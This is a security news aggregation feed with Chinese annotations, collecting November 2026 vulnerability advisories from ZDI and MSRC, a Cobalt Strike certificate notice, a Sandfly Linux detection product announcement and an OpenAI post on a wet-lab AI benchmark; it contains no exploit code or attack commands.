X.Org Server ProcDRI2GetBuffers Heap-based Buffer Overflow Privilege Escalation Vulnerability November 10th, 2026 ZDI-26-901 ZDI-CAN-30557 CVE ID CVE-2026-50264 CVSS Score 7.8 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Affected Vendors X.Org Affected Products Server Vulnerability Details This vulnerability allows local attackers to escalate privileges on affected installations of X.Org Server. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the do_get_buffers function. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root. Additional Details https://gitlab.freedesktop.org/xorg/xserver/-/commit/339c279514326134b0878fc23ce6e9520440ce7f , https://gitlab.freedesktop.org/xorg/xserver/-/commit/b7aa65cc3bb11b792ce2a3f511ba9b863acb11c8 Disclosure Timeline 2026-05-29 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit Anonymous Back to Advisories

lpex11cve @zdi-advisories 原文 ↗

CVSS 7.5,需要攻击者处于网络邻近位置;开启 LBMC 重组解析的实例即受影响。

Wireshark LBMC Fragment Reassembly Integer Overflow Remote Code Execution Vulnerability November 10th, 2026 ZDI-26-899 ZDI-CAN-32846 CVE ID CVSS Score 7.5 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H Affected Vendors Wireshark Affected Products Wireshark Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on affected installations of Wireshark. Authentication is not required to exploit this vulnerability. However, only instances with LBMC fragment reassembly enabled are vulnerable. The specific flaw exists within the implementation of LBMC fragment reassembly. The issue results from the lack of proper validation of user-supplied data, which can result in an an integer overflow before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the current process. Additional Details version 4.6 fix: https://gitlab.com/wireshark/wireshark/-/commit/4d1c6d964c7c0c7a59b0afc14a8e44d5d831ab73 ; version 4.4 fix: https://gitlab.com/wireshark/wireshark/-/commit/e2f9595e3d6beaf31344f5de745b0ff4d041bd82 Disclosure Timeline 2026-08-20 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit HeeChan Kim (@heegong123) of TeamH4C Back to Advisories

rcewiresharkcve @zdi-advisories 原文 ↗

仅在启用 LoRaWAN 解密时触发,攻击向量受限,优先级低于同类漏洞。

Wireshark LoRaWAN Decryption Numeric Truncation Error Remote Code Execution Vulnerability November 10th, 2026 ZDI-26-898 ZDI-CAN-32851 CVE ID CVSS Score 7.1 AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H Affected Vendors Wireshark Affected Products Wireshark Vulnerability Details This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Wireshark. Authentication is not required to exploit this vulnerability. However, only instances with LoRaWAN decryption enabled are vulnerable. The specific flaw exists within the implementation of LoRaWAN payload decryption. The issue results from the lack of proper validation of user-supplied data, which can result in an incorrect calculation before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the current process. Additional Details version 4.6 fix: https://gitlab.com/wireshark/wireshark/-/commit/8f7bb2905d3a9acb8ca6ae113806adcbb30fc6b6 ; version 4.4 fix: https://gitlab.com/wireshark/wireshark/-/commit/6527cb12b74655eb308d3c84bb9df9f57e396c67 Disclosure Timeline 2026-08-20 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit HeeChan Kim (@heegong123) of TeamH4C Back to Advisories

rcewiresharkcve @zdi-advisories 原文 ↗

更新器固定证书,旧版将无法升级,需在 11 月 13 日前重新下载。

TLS Certificate Updates The current TLS certificates for www.cobaltstrike.com and verify.cobaltstrike.com both expire on November 16th 2026. The certificates will be updated on or before November 13th 2026. After the certificates are updated, you will need to download the latest Cobalt Strike updater if you want to update Cobalt Strike to the latest version. If you are already using Cobalt Strike 4.13 then you do not need to take any action. The update program pins the TLS certificates for both www.cobaltstrike.com and verify.cobaltstrike.com and checks them during the update process. If the certificates do not match the ones that the update application is expecting, then you will see a warning message about the server being untrusted. The latest version of the update application (20261109) is available now. Simply download and extract the distribution package for your platform to get the latest version.

工具基础设施证书 @cobaltstrike-blog 原文 ↗

桌面窗口管理组件提权面,是后渗透阶段常用的本地扩大权限目标。

# CVE-2026-105582 - Windows DWM Core Library Elevation of Privilege Vulnerability Release of invalid pointer or reference in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. CWE: CWE-763: Release of Invalid Pointer or Reference

lpewindowscve @msrc 原文 ↗

# CVE-2026-102868 - Windows Shell Information Disclosure Vulnerability Exposure of sensitive system information to an unauthorized control sphere in Windows Shell allows an authorized attacker to disclose information locally. CWE: CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

信息泄露windowscve @msrc 原文 ↗

# CVE-2026-105584 - Windows Inventory Backup Information Disclosure Vulnerability Use of externally-controlled format string in Windows Inventory Backup allows an authorized attacker to disclose information locally. CWE: CWE-134: Use of Externally-Controlled Format String

信息泄露windowscve @msrc 原文 ↗

6 min read Log in to answers, not alerts: what’s new in Sandfly 6.0 Craig Rowland, Founder and CEO, Sandfly Security : Published November 10, 2026 Why Linux alert queues are failing your SOC Linux alert volume grows faster than security teams do. Sandfly 6.0 analyzes your hosts in the background, groups what it finds by artifact, and prioritizes it so your team opens the dashboard to a ranked list of real problems instead of a backlog of maybes. It does this agentlessly, with no software installed on your hosts, and it works with or without AI in the loop. Sandfly is an agentless Linux security platform: it finds intrusions, malware and implants on Linux hosts without installing any software on them, making it an agentless alternative to traditional Linux EDR. If you run any reasonably sized Linux system, you already know the pattern. Your tools light up every time a signature fires, every anomalous process spawns, every container drifts from a baseline. Analysts click into isolated alerts, try to reconstruct what is actually happening on a host, and then repeat the exercise across dozens of nearly identical events. On Linux, this is worse. Network implants, backdoors, fileless loaders, and stealthy crypto miners often avoid logs entirely. You end up with a paradox: too many alerts, but not enough real forensic evidence to decide which ones matter. Sandfly 6.0 is built to treat this as a data and workflow problem, not something another dashboard can fix. See everything new in Sandfly 6.0 -> 1. One view per artifact: work the evidence, not the alert queue The first shift in Sandfly 6.0 is conceptual. Instead of treating every detection as a standalone alert, we group everything around a single forensic artifact, a process, file, or user that represents the thing you actually care about investigating. In the old model, a single compromised process might generate five or ten separate alerts. You had to click into each one, keep the details in your head, and mentally stitch them together into a coherent story. In Sandfly 6.0, that same situation becomes one artifact representing the suspicious process, with all detections stacked underneath it. Open the artifact and you immediately see: The full process context: parent/child relationships, owner, path, hashes. Live state: open network ports, file descriptors, environment variables. Every Sandfly result that fired on that process, file, or user. A single severity score for the entire artifact instead of individually scored alerts. We surface fleet context directly inside the artifact. If a suspicious process has only ever appeared on one host, that is a very different signal from something seen on 3,982 systems. You get an immediate sense of whether you are dealing with an outlier or just a noisy but benign pattern. The result is simple but powerful: analysts work the evidence, not an alert queue. You triage one record per suspicious process, file, or user, with the relevant detections, live state, and fleet-wide context already assembled. Work the evidence, not the alert queue. Try Sandfly free for 14 days. Request Free Trial 2. Machine-learning implant detection built for real Linux malware Sandfly 6.0 includes a machine-learning malware classifier built specifically to hunt for Linux network implants. We trained it on tens of thousands of malware samples from our own research library and public sources, focused on the threats that actually matter on Linux: passive backdoors, magic-packet implants, tiny binaries waiting for command and control, fileless loaders, and stealthy bots and proxies. These are the tactics used by nation state attackers against critical infrastructure globally. Like the rest of Sandfly, the classifier runs agentlessly on the remote host, with nothing installed. We are not shipping binaries back to a central service for analysis; we perform fast static analysis in place even in air-gapped environments and completely privately. That extra analysis sits on top of a faster scanning engine. Sandfly 6.0 includes significant performance optimizations to how scans run, so the overall impact on the systems you are scanning is lower than before even with advanced network implant detection present. The implant detection works across every platform we support such as: Intel and AMD servers, ARM and MIPS devices, IBM Power, and IBM S390 mainframes. The goal is straightforward: if Sandfly supports the platform, the implant classifier should work there too.Whether it’s a cloud server or tiny embedded device, they all get identical coverage against advanced threats. The classifier scores threat level and advanced tags to provide visibility into what a binary is capable of doing. Scoring and tagging now includes: High-risk indicators like confirmed obfuscation or embedded raw shellcode. Behavioral tags such as bind shell or reverse shell patterns, hard-coded IP addresses, or suspicious protocol handling. Confirmed capabilities like raw sockets, specific execution shells, or encoded command strings. Anomalies such as packed or encrypted overlays and other evasion tactics. These tags give both humans and downstream automation enough context to understand why a binary is suspicious. In one recent test with a telco-targeting implant we had never seen during training, the classifier still scored it at 98–99 out of 100 and correctly categorized it as a high-risk backdoor, with all the suspicious behaviors spelled out in the artifact view. In addition, Sandfly can be used to scan and identify compromised systems that may be running network implants today or have evidence of implants left behind on disk. Systems that have never had any security applied to them can get a rapid and accurate check if any problems exist instantly. 3. Optional AI triage, on your terms AI is optional in Sandfly 6.0. The artifact view, severity scoring, implant classifier and whitelisting all work without it. For teams that do want it, the third major change is how we integrate large language models into the investigation flow. We are not asking you to dump unfiltered logs into an LLM and hope for the best. Instead, we feed models the same structured forensic artifacts that analysts see, enriched with implant classifier scores and tags. Sandfly 6.0 separates AI usage into two distinct layers: Fast triage: a lighter, cheaper model that reviews new artifacts, uses Sandfly’s evidence to decide whether to escalate or downgrade, and updates severity before analysts ever log in. Deep analysis: a more capable model that, when requested, performs a full forensic write-up on a specific artifact using the detailed tags, decoded strings, live network state, and indicators of compromise Sandfly has already extracted. This architecture lines up well with independent research. LLMs struggle to separate real attacks from false positives when given raw IDS alerts alone, but become significantly more effective when alerts are enriched with system context and carefully chosen examples ( Schärmer et al., AIT ). Research on agentic alert investigation points the same way: the CORTEX framework, which grounds each decision in evidence gathered through specific, structured tools, substantially reduced false positives compared with single models that interpret noisy logs end-to-end ( Wei et al., arXiv ). Operationally, you are not locked into a single AI vendor. Sandfly 6.0 works with commercial frontier models and on‑prem deployments through an OpenAI-compatible API. If you already have an internal model approved for sensitive environments, you configure it once and Sandfly takes care of passing structured evidence, not raw host state, to that endpoint. For customers in high-sensitivity environments, the key point is control. You decide whether to enable AI triage at all, which model to use, and whether that model lives on your own infrastructure. Sandfly’s role is to produce clean, high-fidelity data that makes those models useful. 4. Cut the noise fast with bulk whitelisting at fleet scale Even a well-tuned detection engine will encounter organization-specific noise: custom daemons, legacy scripts, odd backup tools that look suspicious on paper but are standard operating procedure on your network. Sandfly 6.0 makes it much faster to eliminate that noise without missing what matters. The bulk whitelisting workflow is built directly on top of the forensic artifact and fleet-context view. When you see an artifact that shows up across thousands of hosts and you know it is benign, you can: Select the artifact or specific Sandfly result. Define how strictly you want the whitelist to match: by hash, username, path, or a combination. Apply it to all hosts (or a subset) and clear existing alerts in a single action. If you had 5,000 alerts tied to one known-good artifact, they disappear immediately once you approve the whitelist. You do not have to go back and clean out historical alerts by hand. During initial deployment, this takes a large share of the tuning work and noise off your analysts. Because we show you exactly how many hosts have seen a given artifact, you are less likely to accidentally whitelist a one-off suspicious process. A process seen on 3,982 systems is a very different candidate from something that has only ever executed on one host at 3 a.m. local time. What Sandfly 6.0 changes in your day-to-day workflow The net effect of Sandfly 6.0 is not just a list of new features; it is a different way of doing Linux incident response. Analysts start their day in the host triage view, where Sandfly, and your chosen AI model if you use one, has already pushed likely compromises to the top and downgraded noisy defaults. Instead of dozens of fragmented alerts, you open a handful of high-priority forensic artifacts. For each one, you see live network state, decoded strings, classifier scores, behavioral tags, and host count in a single screen. If something looks serious and you have AI enabled, you can kick off a deep AI analysis and get a structured explanation that is grounded in real evidence, not guesses. Tuning becomes a periodic, targeted task instead of a constant drain. When you see artifacts that are obviously benign and widely deployed, you bulk whitelist them and wipe out thousands of low-value alerts at once. When you encounter something novel, a static implant dropped into an unexpected directory, an odd fileless loader, a masquerading kernel thread, Sandfly’s implant classifier and artifact view give you enough detail to make a confident decision quickly. Most importantly, you are no longer trying to make sense of Linux attacks from logs alone. Sandfly 6.0 collects, analyzes, and structures the underlying forensic evidence for you, then gives both humans and AI the same clean, high-fidelity view. In hostile environments, that is the difference between chasing alerts and actually understanding what is running on your systems. Log into answers, not alerts. Sandfly is agentless, so there’s nothing to install on your hosts. Start a 14-day free trial and see what’s really running on your Linux systems. Request Free Trial Not ready yet? See everything new in Sandfly 6.0 → Tweet Sandfly 2.4.0 – Splunk Support, Reconnaissance, Process Injection Detection and Containers Sandfly Security - Agentless Linux EDR and Incident Response : 12 January 2020 Sandfly 2.4.0 adds Splunk support, Linux process injection and container compromise detection. Extensive Linux intrusion detection without agents. News Product Update Read More Sandfly 3.1 Released - Fast Agentless Linux Intrusion Detection Sandfly Security - Agentless Linux EDR and Incident Response : 21 December 2021 Agentless Linux endpoint detection and response is faster than ever with Sandfly 3.1. News Product Update Read More SSH Key Credential Tracking with Sandfly Splunk App Update Craig Rowland, Founder and CEO, Sandfly Security : 09 November 2022 Send SSH key data from your Linux systems into Splunk for tracking and compromised credential detection agentlessly with Sandfly Linux EDR. News SSH Keys Read More

工具linux检测工程 @sandflysecurity-blog 原文 ↗

衡量 AI 智能体处理日常湿实验室科研工作的能力 | OpenAI 2026年11月6日 刊发 衡量 AI 智能体处理日常湿实验室科研工作的能力 推出 BioBasicsBench:通过 100 个日常湿实验室任务,衡量 AI 智能体解读原始实验数据的能力。 我们的使命是确保通用人工智能造福全人类。作为这一使命的一部分,我们希望帮助科学家加速生物学研究,从理解疾病到开发新的治疗方法。科学家每天在湿实验室中使用生物样本开展实验。AI 智能体要为他们提供帮助,就必须能够可靠地解读这些日常实验中的证据。日常湿实验室工作中,实验失败、图像含糊不清、观察结果相互矛盾都是常见情况。现有基准测试主要围绕为科学论文精选的图表和图像构建,可能无法涵盖这种不确定性,也无法考察应对这些情况所需的排查能力。为此,我们推出了 BioBasicsBench。这项新基准测试由我们与专注于酶设计的生物技术公司 Ligo 共同开发,用于衡量智能体处理日常湿实验室分析的能力。 该基准测试包含 100 个任务,考察智能体能否解读原始实验数据、识别错误,以及判断证据何时不足以支持结论。正确完成这些任务至关重要。误读图像,或忽视用于核查实验结果的对照所存在的问题,都可能让科学家得出错误结论,进而花时间进行无法帮助回答研究问题的实验。 在允许模型对每个任务进行更多推理的“极高”设置下,GPT‑6 Astra 的平均得分达到满分的 66.7%,而 GPT‑5.6 Sol 为 43.8%。结果表明,模型在日常实验室分析方面取得了进步,但在图像解读、对照核查和结合实验背景进行分析等方面仍有提升空间。 深入了解 BioBasicsBench BioBasicsBench 使用原始实验证据,涵盖凝胶图像、菌落平板、显微图像和仪器读数。 BioBasicsBench 包含 100 个任务,覆盖日常湿实验室工作的五个领域:蛋白质实验方法、成像与细胞术、定量与检测、核酸实验方法,以及分子克隆。任务既包括从凝胶中读取 DNA 样本分子量这样的简单要求,也包括详细的检测分析,但都属于湿实验室科学家应能可靠完成的日常工作。 科学家利用自身实验的数据创建任务,并为每个问题配上专家编写的评分标准。每个任务都经过三轮审查:先由未参与该任务编写的 Ligo 科学家进行内部审查,再由具有博士水平、从事湿实验室研究的科学家进行外部审查,最后再进行一次内部审查。 智能体以结构化形式返回答案,给出要求的结论、测量值或建议,并在需要时提供支撑这些答案的推理。答案按评分细则中的各项标准分别计分,使基准测试能够区分正确结论与部分正确的分析。大多数任务同时考察多种能力,包括生物学知识、图像及其他数据的解读、错误识别和实验规程理解。 按领域和所测能力划分的任务 100 个不重复任务 · 每个任务可测试多个领域 “不重复任务数”中每个任务仅计一次。各能力列统计带有相应能力标签的任务数量。这些类别存在重叠:一个任务可以出现在多列中,因此不能将各能力列的数量相加作为任务总数。颜色区分领域;颜色越深,表示该领域中测试相应能力的任务占比越高。 输入材料保留了科学家日常使用的证据形式:凝胶与印迹图像、平板照片、显微图像堆栈、测序读段、酶标仪导出数据,以及实验操作视频。一个任务可以包含多种类型的数据。分子量标准图、质粒图谱等参考表用于辅助解读实验证据。 提供给智能体的材料 数据类型 任务数 包含内容 凝胶与印迹 31 DNA 琼脂糖凝胶、SDS-PAGE 凝胶、蛋白质免疫印迹 实验规程、笔记与规格 27 实验规程与标准操作规程、实验笔记与运行记录、手写笔记照片、产品目录、仪器规格、已发表的实验方法 表格与仪器导出数据 20 CSV 和 Excel 导出文件、泳道布局与库存清单、原始流式细胞术(FCS)文件 实验台、设备与试剂照片 18 实验台、凝胶电泳装置、试剂管与培养管、PCR 板、试管架、pH 试纸、浓缩仪、冷冻柜、液体处理工作站台面 显微成像 14 原始明场与荧光图像、多通道图像集、Z 轴图像堆栈、延时视频 仪器屏幕与图表 13 流式细胞仪、显微镜、NanoDrop、酶标仪和天平的屏幕照片;导出的标准曲线、色谱图及其他图表 测序文件 12 原始长读长 FASTQ 文件、FASTA 序列、GenBank 图谱 实验操作视频 7 划线、接种、系列稀释、SDS-PAGE 电泳槽与培养箱设置、天平称量 琼脂平板与菌落 7 转化平板、蓝白斑筛选、抗生素纸片平板 参考表 21 分子量标准图、质粒图谱、pH 比色卡(辅助材料) 包含各类数据的任务数量。类别之间存在重叠;参考表作为辅助材料。 科学家利用自身实验的数据编写任务,将实验证据与问题及专家编写的评分细则配套提供。每个任务都经过三轮审查:先由未参与该任务编写的 Ligo 科学家进行内部审查,再由具有博士水平、从事湿实验室研究的科学家进行外部审查,最后再进行一次内部审查。审查人员核查了提示词、实验证据、评分细则、作者备注,以及一次已评分的模型作答。 答案依据任务的评分细则计分,各项标准分别赋分。根据任务的不同,这些标准会评估结论、数值结果、支撑答案的推理,或是否认识到证据不足。 结果 我们使用 BioBasicsBench 评估了七个模型:GPT‑5.2、GPT‑5.4、GPT‑5.5、GPT‑5.6 Sol、GPT‑6.1 Sol、GPT‑6 Luna 和 GPT‑6 Astra。评估涵盖 37 种模型与推理强度组合,每种组合均对全部 100 个任务各尝试五次,共得到 18,500 个结果。 我们报告的指标是 平均奖励 ,即任务的平均得分,以占满分的百分比表示。误差线表示 95% 置信区间,计算时以完整任务为单位进行重采样,并将每个任务的五次尝试保留在一起。 各模型在不同推理强度下的平均奖励 GPT-6 Astra GPT-6.1 Sol GPT-6 Luna GPT-5.6 Sol GPT-5.5 GPT-5.4 GPT-5.2 平均奖励与每个任务的平均输出 token 数之间的关系,采用对数刻度显示。每个点代表一种已测试的推理强度设置,连线按顺序连接各设置。横轴每增加一个刻度,数值翻倍。橙色虚线表示 GPT‑5 模型,蓝色实线表示 GPT‑6 模型。浅色误差线表示以完整任务为单位进行自助重采样得到的 95% 置信区间。每种设置均包含全部 100 个任务,每个任务尝试五次。不同模型的推理强度设置有所不同。 即使在低推理强度下,GPT‑6 Astra 的表现也比 GPT‑5.6 Sol 显著提升。这些进步表明, 更强的原生多模态能力可能是提升日常湿实验室分析表现的关键 。 极高推理强度下的表现 模型 平均奖励 95% 置信区间 每个任务的输出 token 数 GPT‑6 Astra 66.7% 60.3–73.1% 4,704 GPT‑6.1 Sol 62.0% 55.6–68.4% 5,238 GPT‑5.6 Sol 43.8% 37.6–50.0% 9,099 GPT‑6 Luna 38.3% 32.3–44.5% 13,120 GPT‑5.5 35.4% 29.7–41.0% 11,135 GPT‑5.4 33.2% 28.3–38.4% 13,717 GPT‑5.2 31.2% 26.2–36.3% 27,620 “极高”是七个模型均有报告结果的最高推理强度设置。每行均包含全部 100 个任务,每个任务尝试五次。对于提供了 Max 推理强度结果的模型,其结果已纳入上图。 GPT‑6 Astra 相较于 GPT‑5.6 Sol 的改进 识别数据能说明什么、不能说明什么 科学研究中的一个常见误区是过度解读数据,尤其是在检验假设时容易产生偏差。Astra 更善于识别数据所能支持的结论边界,避免得出缺乏依据的结论。 在这个例子中,GPT‑5.6 Sol 根据一种用于检测死细胞的染料信号,将细胞判定为死亡。但检测器也可能接收到另一种染料发出的光,因此仅凭亮度不足以得出这一结论。Astra 识别到了这种不确定性,并提出需要更完善的对照来区分信号。 同一组细胞,三个检测通道 明场 · 透射光 通道 2 · SYTOX 标记 · 470–540 nm 通道 3 · FUN-1 绿色荧光 · 525–580 nm 三个通道中的相同细胞区域;检测窗口在 525–540 nm 范围内重叠。重叠窗口可能造成干扰,但干扰程度尚未测量。每个通道采用独立的线性强度标度显示,同一通道内两个区域的标度保持一致;不同通道之间的亮度不能进行定量比较。 更强的多模态处理能力 科学研究具有很强的多模态特征,需要不断解读视觉信息并作出决策。Astra 在处理多模态数据方面有显著进步,这些数据包括照片和视频,以及测序、酶标仪检测、显微成像和流式细胞术的原始输出。 最直观的改进在于,GPT‑6 Astra 能从实验过程中拍摄的图像中捕捉到更细微的细节,从而得出更准确的结论,如这个例子所示。这个任务要求智能体根据一项 DNA 克隆实验得出结论,而对照在此类实验中至关重要。GPT‑5.6 Sol 看到阴性对照平板上没有菌落,便以此为依据得出了结论。GPT‑6 Astra 注意到平板上标注的抗生素不对,因此正确判断该平板不能作为可靠的对照。 原始照片 皿边标签 基准测试中的原始照片,皿边标签已圈出并放大。“LB Kan50”表示卡那霉素,与实验中使用的氨苄青霉素不同。 始终结合实验背景 科学家在分析数据时,必须始终结合隐性生物学知识和实验背景,才能正确解读数据所揭示的信息。Astra 更善于记住这些背景信息,并在整个分析过程中加以运用。 一个任务展示了一系列显微图像,其中细胞时而清晰、时而失焦。GPT‑5.6 Sol 试图从生物学角度解释细胞为何看似消失,而 GPT‑6 Astra 则正确识别出这是 Z 轴图像堆栈,即在不同深度拍摄的一系列图像。 深度扫描中可见性的变化 0 秒 3 秒 6 秒 9 秒 12 秒 15 秒 原始录像中的六帧画面。显微镜沿深度方向扫描时,虚线框始终标示同一位置。时间指所提供视频中的播放位置。 模型仍有哪些不足 基准测试得分提高,尚不意味着模型能够在实验室中作出可靠判断。以下 Astra 的例子展示了假设、预期答案和给定标签如何压过实验证据,也展示了分析过程中正确的观察为何未能指导最终决策。 让假设凌驾于对照证据之上 Astra 让一个熟悉的假设凌驾于实验对照所支持的解释之上。 它能够区分两组菌落的条带,却假定较大的 PCR 产物意味着克隆成功。基于这一假设,它推荐泳道 4、6、7 和 8 ;而参考答案通过与对照比较,选择的是泳道 5、9 和 10 。 参考答案选择菌落 5、9 和 10 ;Astra 则选择 4、6、7 和 8 。 1:分子量标准 · 2:克隆混合物 · 3:原始质粒 · 4–10:菌落样本 解读对照 泳道 3 仅包含原始质粒的 PCR 产物。其条带提供了旧质粒的参考位置。 根据参考答案的解读,泳道 2 包含两种条带模式:组装不完全使旧模板或骨架与新产物同时存在。 因此,形成的菌落可能携带旧质粒,也可能携带新质粒。应将这些菌落的条带与上述参考条带模式进行比较。 参考答案选择: 5、9 和 10 Astra 的选择: 4、6、7 和 8。Astra 推荐这一组,认为较大的 PCR 产物代表目标构建体。 按图像特征分组本身是正确的,但它赋予这两组的实验身份与参考答案恰好相反。因此,Astra 根据菌落 PCR 结果选错了菌落,这会导致后续纯化得到错误的质粒。 忽视与自身倾向的解释相矛盾的数据 Astra 忽视了与自身倾向的解释相矛盾的观察结果。 它得出结论,认为液泡这种细胞内部区室通常比周围的细胞区域更暗,尽管同一图像中有些液泡看起来更亮。两种现象都很重要:改变显微镜焦点可能使明暗对比反转,因此较暗的例子并不能确立普遍规律。 较暗形态 较亮形态 Astra 将液泡概括为较暗,忽略了同一视野中可见的较亮液泡。 这一答案遗漏了什么 部分细胞的明暗对比恰好相反。这两种现象都会出现,因为不同的焦平面深度可能使明暗对比反转。 Astra 检查了多个区域,甚至指出对比度会随焦点变化。但随后,它更看重那些被它认为对焦更清晰的细胞,并在最终答案中只保留了这些细胞的液泡较暗这一描述。它虽然检查了与这一判断矛盾的较亮区域,却未在结论中考虑这些观察。 在常规实验室测量中错计菌落 Astra 的计数标记无法可靠地与单个菌落对应:它无法分辨距离很近的相邻菌落,会漏掉可见菌落,还会标记空白琼脂区域。 最终,这块平板的计数结果比基准测试的参考值高出约 12%。 A. 间距很小的菌落 原图 Astra 的计数标记 B. 可见菌落未被标记 原图 Astra 的计数标记 C. 将空白琼脂区域误计为菌落 原图 Astra 的计数标记 A:相邻菌落之间只有一个计数标记。B:两个可见菌落未被标记。C:空白琼脂区域被误计为菌落。红圈表示 Astra 的计数位置。黑色箭头是编辑添加的指示标记。 菌落计数不准确,会直接影响对 DNA 导入细胞效率的估算。当涂板体积和稀释倍数固定时,多计的菌落会使估算效率按相同比例偏高。 迈向可靠的实验室辅助 要加速生物学研究,必须先把日常工作做好。BioBasicsBench 将这些工作确立为改进目标:解读原始实验数据、核查对照,以及识别缺乏证据支持的结论。这些任务上的进步,有望帮助科学家减少排查问题所花的时间,把更多精力用于决定下一步开展哪些实验。持续跟踪这些能力,也将帮助我们理解它们对生物安全与生物安保的影响。 2026 年 生命科学 作者 OpenAI 继续阅读 查看全部 通往 root 的路径,减少一千条 安全 2026年11月4日 加速物理世界的工程开发 研究 2026年11月3日 LifeVal 研究 2026年11月2日

ai_agent评测基准科研 @openai-research 原文 ↗

内核 LPE 是后渗透提权主力,公告未给 CVSS,需自行核对受影响版本。

# CVE-2026-108403 - Windows Kernel Elevation of Privilege Vulnerability Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpe内核cve @msrc 原文 ↗

数据库访问组件普遍预装,本地攻击者易将其拼进提权链。

# CVE-2026-105587 - Windows OLE DB Elevation of Privilege Vulnerability Heap-based buffer overflow in Windows OLE DB allows an authorized attacker to elevate privileges locally. CWE: CWE-122: Heap-based Buffer Overflow

lpe提权cve @msrc 原文 ↗

缺认证类缺陷绕过成本低,暴露该服务器角色的环境需核对补丁。

# CVE-2026-105588 - Windows DHCP Server Elevation of Privilege Vulnerability Missing authentication for critical function in Windows DHCP Server allows an authorized attacker to elevate privileges locally. CWE: CWE-306: Missing Authentication for Critical Function

提权cvewindows @msrc 原文 ↗

无线组件常年暴露在多攻击面中,UAF 型提权易于稳定利用。

# CVE-2026-105589 - Windows Wireless Networking Elevation of Privilege Vulnerability Use after free in Windows Wireless Networking allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpecvewindows @msrc 原文 ↗

客户端侧漏洞可由恶意服务端反向攻击,RDP 排查与蜜罐场景常见。

# CVE-2026-108417 - Windows Remote Desktop Client Information Disclosure Vulnerability Out-of-bounds read in Remote Desktop Client allows an unauthorized attacker to disclose information over a network. CWE: CWE-125: Out-of-bounds Read

信息泄露cvewindows @msrc 原文 ↗

GDI 老组件攻击面广,信息泄露常被用作绕过缓解措施的前置步骤。

# CVE-2026-108424 - Windows GDI Information Disclosure Vulnerability Out-of-bounds read in Windows GDI allows an unauthorized attacker to disclose information over a network. CWE: CWE-125: Out-of-bounds Read

信息泄露cvewindows @msrc 原文 ↗

# CVE-2026-108409 - Windows Overlay Filter Information Disclosure Vulnerability Exposure of sensitive system information to an unauthorized control sphere in Windows Overlay Filter allows an authorized attacker to disclose information locally. CWE: CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

信息泄露cve @msrc 原文 ↗

主机网络面未授权 RCE,同类公开细节少,宜持续跟踪补丁。

# CVE-2026-66801 - Microsoft Xbox Remote Code Execution Vulnerability Heap-based buffer overflow in Xbox allows an unauthorized attacker to execute code over a network. CWE: CWE-122: Heap-based Buffer Overflow

rce堆溢出固件cve @msrc 原文 ↗

恶意视频文件可作钓鱼附件,未打补丁前应限制未知媒体。

# CVE-2026-114165 - HEVC Video Extensions Remote Code Execution Vulnerability Heap-based buffer overflow in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code locally. CWE: CWE-122: Heap-based Buffer Overflow

rce堆溢出windowscve @msrc 原文 ↗

与同批编解码器漏洞同源,多媒体解析面需一并修补。

# CVE-2026-114167 - HEVC Video Extensions Remote Code Execution Vulnerability Heap-based buffer overflow in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code locally. CWE: CWE-122: Heap-based Buffer Overflow

rce堆溢出windowscve @msrc 原文 ↗

# CVE-2026-108415 - Windows File Server Resource Management Service Elevation of Privilege Vulnerability Untrusted pointer dereference in Windows File Server Resource Management Service allows an unauthorized attacker to elevate privileges with a physical attack. CWE: CWE-822: Untrusted Pointer Dereference

提权指针解引用windowscve @msrc 原文 ↗

# CVE-2026-108416 - Windows File Server Resource Management Service Elevation of Privilege Vulnerability Untrusted pointer dereference in Windows File Server Resource Management Service allows an unauthorized attacker to elevate privileges with a physical attack. CWE: CWE-822: Untrusted Pointer Dereference

提权指针解引用windowscve @msrc 原文 ↗

编辑器 UI 伪造影响开发者环境的信任边界,涉及本地绕过而非内存破坏

# CVE-2026-102236 - Visual Studio Code Security Feature Bypass Vulnerability Improper restriction of rendered ui layers or frames in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally. CWE: CWE-1021: Improper Restriction of Rendered UI Layers or Frames

绕过vscodecve @msrc 原文 ↗

微架构层信息泄露影响既有缓解措施的有效性判断

# CVE-2026-84005 - AMD Zen Information Disclosure Vulnerability Processor optimization removal or modification of security-critical code in AMD Zen allows an authorized attacker to disclose information locally. CWE: CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

侧信道信息泄露cpucve @msrc 原文 ↗

混合云节点本地提权,配置类缺陷在实际部署中复现门槛低

# CVE-2026-105734 - Azure Local Elevation of Privilege Vulnerability Incorrect permission assignment for critical resource in Azure Local allows an authorized attacker to elevate privileges locally. CWE: CWE-732: Incorrect Permission Assignment for Critical Resource

提权云配置错误cve @msrc 原文 ↗

与同日另一条同源同类,仅编号不同,可合并看待

# CVE-2026-84004 - AMD Zen Information Disclosure Vulnerability Processor optimization removal or modification of security-critical code in AMD Zen allows an authorized attacker to disclose information locally. CWE: CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

侧信道cpucve @msrc 原文 ↗

固件层撤销校验缺失,影响信任链完整性但需本地前提

# CVE-2026-109462 - Azure Firmware Security Feature Bypass Vulnerability Improper check for certificate revocation in Azure Firmware allows an authorized attacker to bypass a security feature locally. CWE: CWE-299: Improper Check for Certificate Revocation

固件绕过cve @msrc 原文 ↗

与同批 SQL Server RCE 同源缺陷族,提权链中可直接抬升数据库主机权限

